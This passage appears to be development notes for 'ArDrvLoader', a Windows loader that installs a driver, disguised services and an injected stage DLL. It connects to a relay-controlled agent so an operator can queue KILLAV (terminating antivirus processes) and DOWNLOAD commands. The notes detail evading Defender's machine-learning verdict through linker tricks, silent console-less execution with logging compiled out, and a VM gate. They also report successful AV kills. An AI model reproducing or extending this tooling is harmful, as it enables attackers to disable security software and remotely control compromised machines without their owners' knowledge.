two agents devbox + devbox2, separate key files, both online
```
One bug this shook out: the first implementation compared the derived key itself
against the request signature instead of signing the request with it, so every
request 403'd. Fixed by computing `hmacHex(agentKey, canonical)`.
## Antivirus triage
A fresh build was flagged as `Trojan:Win32/Wacatac.B!ml` - a machine-learning
verdict, not a signature. Two build properties were feeding it:
1. the linker embedded the full local build path (`C:\Code\AvKiler\...`)
2. the Rich header and timestamps carried a recognisable toolchain fingerprint
Changes:
| Linker option | Why |
|---|---|
| `/Brepro` | reproducible build: drops the Rich header and embeds a stable hash instead of timestamps |
| `/PDBALTPATH:%_PDB%` | keeps absolute build paths out of the binary |
Result on the same Defender engine (1.461.217.0):
```
MpCmdRun -Scan -ScanType 3 -File dist\Release\ArDrvLoader.exe -DisableRemediation
Scanning ... found no threats.
```
Both variants scan clean: the embedded single-exe build (335 360 bytes) and the
`-NoEmbed` build (274 432 bytes). Execution of the rebuilt exe produced no new
detection entries.
### Embedded vs -NoEmbed
```
build.ps1 -Configuration Release # 335 KB, driver + stage DLL inside
build.ps1 -Configuration Release -NoEmbed # 274 KB, resources omitted
```
`-NoEmbed` passes `/p:EmbedPayload=false`, which disables both `driver_res.rc`
and `stage_res.rc`. The exe then needs `ardrv.sys` and `ardrvstage.dll` delivered
separately - for example `DOWNLOAD` them into the stage dir after the cloud agent
is up, since the agent itself does not need either file to register.
### What this does not solve
- The binary is **unsigned**. SmartScreen will still warn on a freshly
downloaded copy (Mark of the Web), independent of Defender's static verdict.
- Detection on execution is behavioural: creating services, writing to
System32, terminating AV processes. A static-clean binary can still be caught
in real time once it acts. Code signing (EV / Azure Trusted Signing) is the
durable fix, not more static tricks.
## Build variants
| Config | Subsystem | Console | Logs | Use |
|---|---|---|---|---|
| Release | `Windows` | none, silent start | compiled out | deploy |
| Debug | `Console` | visible | `C:\Users\Public\ardrv_loader.log` | diagnose |
Release links with `SubSystem=Windows` and `EntryPointSymbol=wmainCRTStartup`, so
double-clicking produces **no console window** while `wmain` still runs normally.
`Logger.h` compiles every `Log()` call out of Release, so there is no log file and
no `OutputDebugString` either.
Elevation now happens **before** the VM gate: a double-click always raises the UAC
prompt, even on a host the gate would later refuse.
`ARDRV_ALLOW_VM_DEFAULT=1` is compiled in for lab images that are themselves
virtual machines; set it to `0` for a real target build.
## Single-exe client
`ArDrvLoader.exe` is the whole client. No Worker code, no server code, no
sidecar files - verified by scanning the binary for `worker.js`, `server.js`,
`express`, `node:sqlite`, `wrangler`, `cloudflare`.
**Double-click** (no arguments) runs the bootstrap with defaults baked in at
build time:
| Macro | Meaning | Current value |
|---|---|---|
| `ARDRV_DEFAULT_URL` | relay/Worker address | `http://127.0.0.1:8789` |
| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` |
| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` |
| `ARDRV_DEFAULT_AGENT` | agent id | empty - computer name is used |
Rebuild with different values by editing those macros in `ArDrvLoader.vcxproj`
(`PreprocessorDefinitions`), or override at runtime:
```
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> [--agent <id>] [--no-killav]
```
Flow with no arguments:
1. VmGate, then self-elevation - one UAC
2. driver + three services + cloud agent service against the baked URL
3. wait for the agent to register (id = computer name)
4. queue `KILLAV` through the server so the run appears in the panel
5. print the result
Verified:
- binary scan: no server/worker strings
- no-arg dispatch reaches bootstrap and picks `DESKTOP-RB1A813` as the agent id
- explicit-args bootstrap from one copied exe: services running, agent online, `KILLAV done`
- non-elevated run stops at `Cannot write HKLM\SOFTWARE\ArDrvLoader`, as expected
## Single-exe client bootstrap
One file is enough on a fresh machine:
```
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> \
[--agent <id>] [--secret <agent-key>] [--target <path>] [--no-killav]
```
It elevates itself once, installs driver + three services + the cloud agent
service pointing at the given URL, waits for the agent to register, then queues
`KILLAV` through the server so the run is visible in the panel as a normal
command. Driver image and stage payload are embedded, nothing else is copied.
`start-all.cmd -Url https://relay.example` is a thin wrapper for local testing; it
starts nothing on the server side.
**Offline detection fix:** the panel compared `last_seen` (seconds) against
`interval * 3` (milliseconds), so an agent that had been dead for twenty minutes
still showed as online. Now `interval` is converted to seconds, and stale agents
render grey with `online=false`.
**Installer retry:** replacing the service binary right after stopping the
services can hit a sharing violation while the old image is still mapped. The
copy now retries for up to 10 s instead of failing the install and leaving the
services stopped.
Verified with a single copied exe in an empty folder:
```
EXIT=0
services: DeviceSetupHost=Running ProgramCompatHost=Running ServiceStateHost=Running CloudTest=Running
agents: newuser1 online, five older agents offline
commands: newuser1 KILLAV done "OK EXECUTED killed=2 candidates=2"
```
## Reliability fixes
| Problem | Fix |
|---|---|
| A new loader kept injecting the old stage DLL | `StageDllPath()` now compares the embedded resource byte-for-byte with the file on disk and rewrites it when they differ |
| The 180 s reaper could make a slow command run twice | the agent keeps the last 512 executed command ids; a re-delivery is acknowledged as `OK (dup, not re-executed)` without running |
| SQLite writer contention and unbounded growth | relay opens with `journal_mode=WAL`, `busy_timeout=5000`, `synchronous=NORMAL`, and prunes once a minute |
Retention defaults, overridable by env: commands older than 7 days, events older
than 30 days, hard cap of 50,000 commands (`RETAIN_COMMAND_DAYS`,
`RETAIN_EVENT_DAYS`, `RETAIN_MAX_COMMANDS`).
Verified:
```
stage dll zeroed (43008 bytes) -> -stage status rewrites it, first bytes are MZ
command requeued in sqlite -> agent acks "OK (dup, not re-executed)"
relay start log -> journal mode: wal
```
## Still open
- Pin the Worker's public key (SPKI) so a rogue CA cannot MITM the channel.
- Encrypt `HKLM\Software\CloudAgent` secrets at rest with DPAPI (the guard config
key is DACL-hardened, the cloud config key is not).
- `DOWNLOAD` leaves payloads on disk; add a retention/cleanup pass.
- Driver device object ACL cannot be verified from this repo (no driver source).